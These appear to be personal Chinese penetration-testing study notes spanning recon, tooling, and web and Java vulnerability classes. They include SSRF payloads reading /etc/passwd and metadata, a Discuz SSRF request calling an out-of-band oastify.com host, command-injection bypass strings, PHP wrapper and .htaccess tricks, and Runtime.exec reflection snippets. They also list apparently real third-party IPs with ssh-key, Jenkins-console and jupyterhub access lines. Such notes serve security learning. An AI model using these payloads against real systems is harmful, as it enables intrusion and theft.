抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

PTES

渗透测试分类:

操作系统、数据库、前后端语言、各种网络设备

渗透测试流程:

  1. 情报搜集、信息收集
  2. 威胁建模、制定方案
  3. 漏洞挖掘、漏洞利用
  4. 漏洞攻击、渗透测试
  5. 权限提升、内网渗透
  6. 后渗透

渗透测试手段:

  1. 漏洞扫描 穷举检查 模糊测试
    -> POC: proof of concept
  2. 木马攻击
  3. 社会工程 社工搜集数据
    -> 欺骗的艺术
  4. 应用安全性测试
    -> 代码检查、输入检查、Cookie
  5. 无线网络的渗透测试
  6. DDOS

黑盒测试:对目标系统一无所知
白盒测试:可获取资料或代码
灰盒测试:介于两者之间

优秀的渗透测试:

  1. 选择足够的测试集
    -> 整理自己的漏洞库
    -> 收集漏洞的文章和复现
  2. 不是猜谜游戏,需要规划、条理

=====================================

信息收集:

  1. whois ip sub dns cdn
  2. os webserver 服务 程序 各类指纹

漏洞挖掘:

  1. web 应用
    查找特殊子域名
    使用针对性的工具网站扫描 cms识别
    根据信息查找源码分析
  2. xss csrf ssrf crlf xsio sql注入
    权限绕过 任意文件读取 反序列化 鉴权失效
  3. 上传漏洞 - 截断 修改
  4. 爆破

权限提升:

  1. os -> exp
    win ->
    linux ->
    linux exploit suggester
    unix privesec check
  2. 数据库 第三方组件提权
  3. exploit-db 1337day

Web 服务组件

静态层, 前端框架, 跨站脚本攻击
脚本层, Web 应用/开发框架/后端语言, 远程命令执行
服务层, Web 容器(Nginx等), 远程溢出 DOS
数据层, 数据库 内存 文件, SQL 注入
系统层, OS, OS执行 缓冲区溢出

安全策略 和 浏览器特性

X-Frame-Options
Referer
Cookie
等请求头
CSP 内容安全策略 及其指令

OWSAP Top 10

https://github.com/OWASP/www-chapter-china-mainland

=====================================

Kali tools

enum4linux, hping3, masscan, nikto, nmap, sublist3r,
exploitdb, linux exploit suggester, beff, armitage,
routersploit, msf, setoolkit, sqlmap, burp suite,
wpscan, wfuzz, websploit, owasp zap, w3af, gobuster,
recon-ng, netdiscover, shodan, dirb, curl, wordlists,
Nishang, dns2tp, wenshelld, hydra, apktools, impacket,
locate

WEB SEC

信息收集

系统配置、whois、主机IP、公司人员、安全防御、防火墙 等等

网站与服务器信息:iis, asp, phpstudy 多种多样的指纹
搜索引擎:google baidu bing hack,fofa/shodan/zoomeye
社会工程学:
分析网站架构:fuzz 测试 网站指纹

主动信息收集:有流量 无法隐匿自己
被动信息收集:操控一类网站 设备 等用于分析

子域名发现:各种爆破 censys 搜索引擎 dns 证书
fierce、sublist3r/subdomainbrute/layer/gobuster
Google Dorks

通过 banner 指纹定位 漏洞信息
网站的 banner
port 服务探测 banner

社工库:
OSINT:个人信息 社交网站 招聘网站 新闻报道 等等

分析网站架构:
隐藏链接、注释、JS
web 架构 指纹
命名规则推测
目录 文件 的 fuzz 暴力探测
错误码分析
http 响应头分析

cdn:
偏远地区 多地测试 dns解析记录 ssrf 边缘资产

信息内容丰富的地方:
网盘搜索、代码仓库、泄露的数据库

代码泄露:
https://searchcode.com
github gitlab gitee google

subdomain takeover: dns 子域接管
xray.cool : 扫描 爆破
nbtscan / cobalt strike: 内网探测
CredNinja : 提权 横向拓展

src: 偏向资产脆弱性,赏金的规则,熟悉业务逻辑
-> 系统化挖掘:全面深入收集资产
-> 明确业务数据:业务 数据 应用 工程 API
-> 细致到位:测试每一个业务,每一个校验,每一个授权
红蓝:

信息泄露

phpinfo thinkphp 宝塔 探针
web目录备份文件 压缩包文件
版本管理工具
github 等 代码泄露:svn 代码泄露检测、Githack
robots.txt 暴露
编辑器备份:vim .swp .bak .swo 文件
JS 文件 接口等 敏感信息泄露

Github 泄露:
账号 密码 人员 代码 等等 一切皆有可能
数据库配置 邮件 各类配置

=>>> searchsploit

工具

Nmap:
Nessus: web漏洞扫描神器
AWVS: 前五的类爬扫描
OpenVAS
Cobalt Strike: win渗透
SQLMap
Burp Suite: Intruder
Metasploit
AppScan:

https://www.chaitin.cn/zh/products
攻 洞鉴:X-ray 扫描
防 雷池、谛听
查 牧云:CloudWalker webshell查杀

靶场

部署 DVWA
https://www.jianshu.com/p/e72d4ba03a46
MariaDB 重置密码 https://stackoverflow.com/a/65697219

墨攻:https://en.fofa.info/result?qbase64=ZmlkPSJDMFJqTnh5eEFOeHR1ZlkvSHNkeVh3PT0i

Vulhub:https://github.com/vulhub/vulhub

玄鸾安全靶场 https://xuanluansec.top/
武器库:https://www.77169.net/html/263147.html
华云英格 http://njhack.xyz/

靶场导航 https://mynav.ev1l0o4g.xyz/

OWASP: https://github.com/webpwnized/mutillidae
bWApp http://5.161.228.6/bWAPP/portal.php bee:bug
N1Book 靶场 https://book.nu1l.com/tasks/#/
VulStudy http://43.143.135.128/
VulFocus https://fofapro.github.io/vulfocus/#/
国光ssrf https://github.com/sqlsec/ssrf-vuls

ctf

https://www.vulnhub.com/entry/breach-1,152/
https://duncan.deltoros.net/articles/2016-09/vulnhub-breach-1
https://www.cnblogs.com/yuzly/p/10973319.html

SQL

https://sqlbolt.com/

safe3wvs, webcruiser, appscan, awvs, x-ray

漏洞挖掘:
数字型
‘, 返回错误
v-0, v*1, v/1, 返回相同结果
1 or 1=1, 1)or(1=1, 永真
v or 1=2, v)or(1=2 空条件,返回相同结果
1 and 1=2, 1) and (1=2, 永假
1 or ‘ab’=’a’+’b’, 1) or (‘ab’=’a’+’b’, sql server 串联
1 or ‘ab’=’a’ ‘b’, 1) or (‘ab’=’a’ ‘b’, mysql 串联
1 or ‘ab’=’a’||’b’, …, orcale 串联
字符型:
数字与数字比较:和数学一致
数字和字符比较:’41abc’>40 -> True; ‘abc’=0 -> True
字符与字符比较:挨个比较

注释: –: 单行注释 通用; **\ #

UNION 查询

MySQL 延迟注入,页面返回时间来判断,
>=5.0 sleep(); <5.0 benchmark()

二阶注入:恶意代码被注入到数据库,在被检索时构建 sql 执行

CSRF

跨站伪造:one click attack / session riding

用户在不登出本网站的时候访问了其他站点,会携带 cookie

靶场:https://www.vulnhub.com/entry/csrf-minefield-1,316/

XSS

beef-xss 、 xsser 、 带外 XSS

WebRTC 内网扫描

靶场:dvwa、xsslabs

SSRF

Build Your SSRF Exploit Framework - RingZero(猪猪侠)

file 协议,dict 协议

  1. /?url=http://localhost/serverstatus
  2. /?url=http://127.0.0.1:port
  3. /?url=http://ip/latest/meta-data
  4. /?url=file:///etc/passwd
  5. /?url=dict://localhost:11211/data

触发点:Web,请求,格式处理,数据库,广义 ssrf

所有 前端交互后端完成请求任务 的都是重灾区:
图片加载,下载服务,预览内容,代理服务,文件包含,RSS
多媒体加载,Api 接口,站长工具,中间件,
网站分享,收藏,WebHook,网站扫描,
数据库:连接,复制,执行命令
在线编程:很多函数都可以造成 SSRF 并且黑名单难防

常见关键词:share/url/src/link/source/u/display/domain

用法:

  1. 探测内网:构造一个内网的扫描器
  2. 使用其他协议获取敏感信息
  3. 控制服务器漫游内网

防御手段:对输入做合法验证;网络限制;黑白名单;DNS限制;

绕过手段:https://hammerking.top/index.php/archives/603/
地址转为 0b 0o 0 0x:
127.0.0.1=>0x7F000001
使用特殊字符:#&@ CRLF 等拆分
www.baidu.com@127.0.0.1:7001 == 127.0.0.1:7001
利用 302/301:跳转到 gopher 协议上
使用 gopher 协议发送 GET POST 请求
覆盖硬编码:&host=xxx
特殊协议:gopher/file/dict/ftp/sftp/tftp/ldap/
特殊内容:xml,图片,
DNS 特性:xip.io/xip.name 解析时自动去掉
封闭式字母数字代替ip中的数字:ⓢⓢⓡⓕ.ⓒⓞⓜ == ssrf.com
解析 URL 方式不同而绕过 readfile: ip:11211:80 / a.com#@b.com
直接使用 Socket 连接
FastCGI 等

fuzz:
内网段 192.168 172.16-19 10
常见端口:

Redis 实例,未授权漏洞利用实例,web shell

Discuz 3.2X SSRF+Redis:
?mod=ajax&action=downremoteimg&message=[img]http://4v0vuct7rolm4qpng064ft4il9r0fq3f.oastify.com/123.img[/img]&formhash=
WriteUp: https://phyzxeno.github.io/2017/03/30/ssrf/
练习:自己挖一个,电报上的 RSS 机器人,没挖到

垃圾靶场浪费我的人生!!!!!!!!!!!!!!!!

未授权访问

缺乏认证机制或者授权页面配置不当

Redis

6379 bind:0.0.0.0:6379
/var/lib/redis -> dump.rdb
save 命令保存到硬盘上 落地操作
写 ssh pub key
写 webshell
写计划任务
反弹 shell

Jenkins

CI/CD 工具:持续开发
是通过 ssh 公钥来推送到其他机器
Ansible:也是公钥登录
可以执行脚本命令行

Rsync

873 数据同步,默认允许匿名访问
尝试:上传/反弹 webshell;查看任意文件;
同步关键文件如 crontab 文件
配置:host allow + 文件账号密码

ZooKeeper

默认 2181 默认无需任何身份验证
nc ip 2181 -> stat
获取环境变量 敏感信息
https://zookeeper.apache.org/doc/r3.8.1/zookeeperCLI.html

其他服务未授权漏洞:
MongoDB/Memcached/JBOSS/VNC/Docker/Atlassian Crowd
CouchDB/Elasticsearch/Hadoop/Jupyter Notebook 等等

任务:
收集常见的服务的默认端口
收集各类服务的未授权访问漏洞

https://xz.aliyun.com/t/9488
198.46.158.116:8808
https://www.jenkins.io/doc/book/managing/script-console/
println(“”.execute().text)

ssh -i ~/.ssh/fr_jenk.priv jenkins@162.19.76.41
34.90.164.32 jovyan jupyterhub

目录遍历

任意文件下载和任意目录穿越 => 高危
遇到上传点 getshell xss
尽可能的发现方法风险性和脆弱性
尽可能的去渗透去尝试去测试
Apache: Index Of
IIS: web.config -> 配置
nginx: 修改可上传来留后门

文件包含

通过 PHP 函数 比如 include 引入文件
文件名没有经过合理的校验 导致文件泄露或代码注入
要求:用户可以控制动态变量,Include 通过动态变量的方式引入包含文件

require 立即调用,会报错
include 运行到才调用,仅提醒

RFI/LFI 远程/本地 文件包含漏洞 allow_url_include / allow_url_fopen 如果仅允许本地文件包含 1. 可以与文件上传搭配 2. 可以通过请求把 php 代码写入 web 日志 3. url/referer/ua 写入 代码 4. 包含系统文件 /proc/self/environ 等 5. 伪协议:https://www.php.net/manual/en/wrappers.php php://input/ -> POST phpwebshell php://filter/write php://filter/read=convert.base64-encode/resource=[path] zip:// 报错但正确的部分包含 shell data://text/plain;base64,[base64code] expect:// 命令执行 需要开启 6. 截断包含 老版本 /////// 一定数量/ 7. %00 %2500 等空字符注入 防御措施:白名单,过滤危险字符,文件目录,危险配置 练习:bWApp low:file zip medium: 需要和上传漏洞配合 ## 命令执行 多语句执行: ; / | && || $() ` 等价空格:$IFS/%0a%09/空变量->空/ $a=l;$b=s;$a$b%0A-al 执行代码的函数:eval/assert/preg_replace/create_function 执行命令的函数:system/passthru/exec/shell_exec/popen/ pcntl_exec/dl/`xx` eval 和 assert 区别: 远程命令执行:用户提交的数据被服务器引擎当作系统命令语句 RCE:

dig 文件传送

反弹 shell:https://xz.aliyun.com/t/9488

远程代码执行漏洞:用户提交的数据被服务器引擎当作系统语句片段
RCE:
eval 复制操作 a=1;phpinfo();
{${phpinfo()}}; 可优先执行
可配合反序列化漏洞

练习:ca$*t$IFS/key.p$@hp l$*s$IFS-al$IFS/www
ca$@t$IFS/www/admin/exec1.njhack.xyz_80/wwwroot/key.p$@hp

文件上传

未对上传文件做严格验证和过滤
触发点:上传点,管理器,HTTP
类型:任意上传、js验证、文件头 MIME 扩展名 文件加载 检测、条件竞争

前端处理:
multipart/form-data 格式 boundary
application 媒体格式:octet-stream/x-www-form-urlencoded
记住常见的上传格式名称和编码方法

后端处理:
校验文件类型 大小 对文件重新编码 隔离用户上传文件
getimagesize() 函数

马场:可被解析但有大量无效内容,存在一个被解析了,竞争漏洞
一直发流量,导致某个删除慢了,导致条件竞争

前端绕过:改包,noscript,改js
后端绕过:
MIME 扩展名 文件头 => 文件中间插入 php
IIS: xxx.jsp/xxx.jpg xxx.jsp;.jpg .asa cer cdx
Apache: 从右向左判断/ .php.jpg / x-httpd-php -> .php.jpg
nginx: 00 截断、fix_pathinfo、
win: ::$DATA / 末尾加. :后省略 xx. .
截断上传:%00 / [\0] / %09%0A
黑白名单限制:
array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.swf”,”.htaccess”,”.ini”);
Apache .htaccess 添加解析规则 作用域当前及子目录
<FilesMatch “shell.png$”>
SetHandler application/x-httpd-php
AddHandler xxxx

.user.ini : 自 PHP 5.3.0 起,类 .htaccess

解析漏洞

直接解析:没防御或前端防御
配合解析:上传木马图片与解析漏洞配合

搜索 Apache Nginx ISS 解析漏洞有哪些 编辑器漏洞

Apache:

  1. x1.x2.x3 尝试解析 x3 失败则解析 x2 然后 x1
  2. 配置文件 AddHandler SetHandler

IIS:

  1. x.asp/xxx x.asp;xxx xxx/xxx.php 类似 nginx IIS<7/7.5
  2. 目录包含 .asp 整个目录都被解析为 asp IIS<=6.0

Nginx:

  1. 对任意文件名后面添加 /xxx.php
  2. %00 截断 nginx<5.3.4
  3. php-cgi 默认配置漏洞 fix_pathinfo
  4. nginx 配置不当导致漏洞
  5. fastcgi 未授权访问

修复:
上传目录不可执行,白名单,确定文件类型,随机文件名
单独服务器存放文件服务器

XML/XXE

XML: 可扩展标记语言,标记电子文件,传输存储数据
必须存在根元素,大小写敏感,必须嵌套,属性加引号
引入实体: &name;
注释:
https://www.w3schools.com/xml/default.asp

DTD: 文档类型定义,定义 XML 文档的合法构建模块
PCDATA: 会被解析,CDATA: 不会被解析
实体:用于定义引用,
外部实体:

XPATH:查找信息,导航

XML 外部实体注入:XXE
在能够插入 XML 的位置构造更多,可能为被过滤而被解析
能做的事情:任意文件读取,列目录,执行命令,内网端口探测
文件上传,攻击内网(SSRF),DDOS 等等

  1. file 协议读文件
  2. % 实体名称 参数实体
  3. dtd 自身支持调用外部 DTD 文件 外部实体

拒绝服务:递归调用
无回显:OOB
案例:1. 搭建可访问的 DTD 2. 构造攻击请求,接受返回内容
xxe 结合 expect:// 执行命令 php

脚本默认支持的外部实体协议:
libxml2:file:// http:// ftp://
php: file http ftp php compress.zlib data glob phar…
java: file http https ftp jar netdoc mailto gopher
.net: file http ftp https

https://github.com/payloadbox/xxe-injection-payload-list
https://github.com/TheTwitchy/xxer

json -> xml 尝试可行性,改头

XPATH 注入:解析器松散输入和容错,获得面案信息或更改权限
类似 sql 注入,如构造:admin' or '1'='1
防御:输入合法性校验

xls/xlsx 解压之后 workbook Content_type 文件

xxe payload/fuzz

逻辑漏洞

逻辑不严谨或太复杂,分支不能正常或错误处理
非常隐蔽但危害很大
绕过功能限制、遍历、越权、弱口令、信息泄露、密码重置、竞争
特定场景下特定逻辑:支付安全,验证码安全

  1. 发现功能模块:改密码,改资料,付款,购物流程等
  2. 针对业务流程,划分步骤:购物为例
  3. 拦截请求,分析参数
  4. 修改参数,尝试触发

生活中限制绕过:

  1. 身份识别绕过:门禁、保险、人脸识别、登陆密码、看门狗
  2. 付费识别绕过:点餐小票,支付凭证,地铁闸机、年费会员
  3. 顺序限制“号码牌,预约短信、九连环、栈和队列、象棋规则
  4. 行为限制:法律,烟雾报警,围墙,屏风,足球规则
    绕过方式:
    伪造、伪装、重用、劫持、嵌套、并行、外带
    暴力枚举、条件竞争、状态还原、另辟蹊径、局部宏观、博弈、修改限制

突破限制案例:

  1. 突破一张优惠券限制
  2. 突破网银交易限额
  3. 突破某游戏出牌规则限制,打出违规牌面

绕过授权:

  1. 水平越权:权限类型不变,权限ID改变
  2. 垂直越权:权限ID不变,权限类型改变
  3. 交叉越权:改变ID,也改变权限
    两个账号,分别抓包,替换参数,是否成功
    两个账号 cookie 交换,判断越权,分析越权成因参数
    利用幽灵用户注册,使用其权限
    猜测密码,推导编辑权限

审计网络上排名前几的业务逻辑代码
尝试为每个业务绘制业务逻辑图

找回密码:给别人找回密码

  1. 尝试正常流程,选择不同找回方式,记录所有数据包
  2. 分析数据包,找到敏感部分
  3. 分析后台找回机制,猜测所用的验证手段
  4. 修改数据包验证推测

支付逻辑:

  1. 支付过程中可以修改数据包
  2. 购买数量的负数限制
  3. 请求重放
    案例:
    溢出:价格、余额、数量、正数负数
    精度问题:四舍五入、向上向下取整、保留精度
    负数问题:数量 价格 等
    条件竞争:缺少锁或同步,抢购 转账
    参数修改:各类参数修改 分期/时间/ 等等
    支付接口:替换返回状态 订单仿冒 修改支付金额、收款人 自定义支付接口
    重放攻击:

内容安全:
账户体系安全:

PHP 代码审计

测试必不可少,突破测试瓶颈,参与众测
能够梳理功能点,找到敏感点,理解设计模式

审计工具:
PHPStorm PHPDbg PHPMyAdmin VM burp
PHPStudy Seay
Xdebug:调试工具,单步调试,广泛支持 IDE

手工调试:var_dump
上下文: get_defined_functions/vars/contants
get_include_files get_loaded_extensions
get_declared_classes get_declared_interfaces
调用: debug_backtrace debug_print_backtrace
Xdebug: xdebug_call_file/line/function
xdebug_dump_superglobals/get_monitored_functions

运行模式 SAPI:
CLI/CGI/build-in/isapi/swoole/php_mod/fpm(fastcgi)
build-in webserver: php -S localhost:9090

安全配置:
magic_quotes_gpc: php<5.4
extract: 用户传入变量自动释放到上下文
register_global: 4.2后false,相当于自动 extract
allow_url_include: false
allow_url_fopen: true
request_order: 5.3 GPC->GP
short_open_tag: 短标签 5.4+ 总会执行
safe_mode: 5.4-
open_basedir:
disable_funtions/classes: 限制运行某些函数
enable_dl: 5.2+ false 可以通过 dl 加载

危险函数:
include/require/include_once/require_once/sql_autoload
eval/assert/preg_replace/create_function
system/passthru/exec/shell_exec/popen/proc_open/pcntl_exec/dl/``
file_get_contents/fread/readfile/file/highlight_file/show_source
file_put_contents/fwrite/mkdir/fputs
unlink/rmdir
move_uploaded_file/copy/rename
curl_exec/file_get_contents/readfile/fopen
extract/parse_str/$$
simplexml_load_file/simplexml_load_string/SimpleXMLElemet/DOMDocument/xml_parse
var_dump/print_r/exit/die
unserialze
urldecode/iconv/mb_convert_encoding/stripslashes/base64_decode/substr

关注所有用户可控的参数

https://github.com/bowu678/php_bugs

SQL 注入

审计流程:
0. 自动化审计工具

  1. 反向审计流程:从危险函数开始回溯可控变量
  2. 正向:MVC 从控制器找 URL 派发规则,跟踪控制器调用
  3. 双向查找:略读了解架构,全局过滤/绕过/遗漏

连接方式:mysqli/pdo
过滤方式:参数化查询 预编译(结构固定)
intval / addslashes / mysql_read_escape
mysqli_(read_)escape_string/myqli::escape_string/pdo::quote
绕过方式:
绕过转义:利用 base64/decode 等 没有引号 宽字节
寻找过滤无效点:
开发者遗漏点:HTTP头 Cookie PHP_SELF REQUEST_URI $_FILES[][] php://input
header 发送头之后解析器继续运行

任意文件操作

所有和文件相关的操作:
文件包含:include/require/include_once/require_once/sql_autoload
文件读取:file_get_contents/fread/readfile/file/highlight_file/show_source
文件写入:file_put_contents/fwrite/mkdir/fputs
文件删除:unlink/rmdir
文件上传:move_uploaded_file/copy/rename

文件上传漏洞:前端验证、MIME、未重命名 等
文件包含漏洞:可被包含的文件 后缀无法控制 截断 协议
文件删除漏洞:删.lock重装、删配置文件等

命令执行 RCE

system/passthru/exec/shell_exec/popen/proc_open/pcntl_exec/dl/``
对用户输入过滤不严格,拼接到了系统命令中
图片处理:GD/ImageMagick
防御:– escapeshellcmd escapeshellarg 用户输入放入值的位置而非键值对

XML实体注入:libxml2.9.0+ 默认关闭,近乎绝迹

前端漏洞

XSS CSRF Jsonp
寻找xss:fuzz 富文本xss
csrf: referer token
jsonp:

反序列化

反序列化执行触发任意代码 -> py
反序列化后通过代码链执行 -> php/java
php: (un)serialize: __wakeup __destruct __tostring

小技巧

快速找到漏洞:双向
存在防御:根据规范的防御判断,能否找到绕过方式
现代框架:默认安全 很难的了 如何突破:

  1. 寻找框架本身的漏洞 Slime3 xxe
  2. 寻找不规范的开发方式 Edusoho sql
  3. 寻找错误的配置
  4. 异常的利用 Edusoho 任意用户密码泄露
  5. 第三方服务的利用 Discuz 有条件RCE
  6. spl_autoload phpwind get型CSRF 命名空间和win目录结构
  7. 压缩炸弹 构造畸形压缩包 phpcms 头像上传导致任意文件上传
    阻止压缩时的文件检查 解压失败后出错后会停止运行 webshell保留
    使用 ../ 绕过当前目录递归删除
    软连接文件未过滤 可保留在压缩包中
  8. 条件竞争 并发状态 进程与线程
    上传后删除的利用:删除掉文件前访问webshell写入新的webshell
    忘记上锁的数据库:并发 判断余额>价格 余额变负 购买多个商品
    鸡肋文件包含利用:phpinfo->临时文件名,包含文件生成新 webshell

脑洞要大 举一反三 通用思路 多看文档

反序列化

理解 分析 调试 反射 Gadget
fastjson shiro weblogic dubbo hession log4j

准备多版本 JDK 8 + Tomcat

序列化与反序列化:
ObjectOutputStream ObjectInputStream
Serializable readObject() writeObject() 无需重写
java.io.Externalizable writeExternal() readExternal()

反序列化时检查 serialVersionUID
transient 修饰的成员变量不会被序列化
magic header: aced straem version: 0005
010 / SerializationDumper

通过恶意构造输入,让反序列化产生非预期的对象
Gadget 调用链 构造利用链 -> sink
https://github.com/frohoff/ysoserial
注意利用链需要的 JDK 版本
https://tttang.com/archive/1337

反射:运行中对任意类,能够知道所有属性和方法
对任意对象,能够调用方法和属性
Class类/Field类/Method类/Constructor类
获取Class类:使用隐含静态成员class,new -> getClass,Class.forName()
常用方法:
获取类:forName, getClass
获取类下的函数:getMethod(s) getDeclaredMethod(s)
执行类下的函数:invoke
获取类构造函数:getConstructor(s) getDeclaredConstructor(s)
实例化类的对象:newInstance

命令执行的写法:Runtime.getRuntime().exec(“calc”)
Constructor constructor = Runtime.class.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtime = constructor.newInstance();
((Runtime)runtime).exec(“calc”);

Class clazz = Class.forName(“java.lang.Runtime”);
Conctructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod(“exec”, String.class).invoke(m.newInstance(), “calc”);

Class.forName(“java.lang.ProcessBuilder”).getMethod(“start”).invoke(Class.forName(“java.lang.ProcessBuilder”)).getConstructor(List.class).newInstance(Arrays.asList(“clac”))

调用链:没理解
手动触发:LazyMap.get()
自动触发:TiedMapEntry HashTable.hashCode

漏洞案例

Shiro 尝试从 Cookie[rememberMe] 中解析 principal
getRememberedSerializedIdentity
https://xz.aliyun.com/t/11633

rememberMe=deleteMe; AlliN2
没有出网没有 DNS 延时探测 => 连不上就卡住/key错了卡不住
防御:hook resolveClass/SerialKiller/黑白名单
触发场景:请求参数,RMI协议,JMX,自定义协议
https://xz.aliyun.com/t/7079

关系拓扑图中找到脆弱资产
banner header title 绘制雷达图 寻找脆弱资产

评论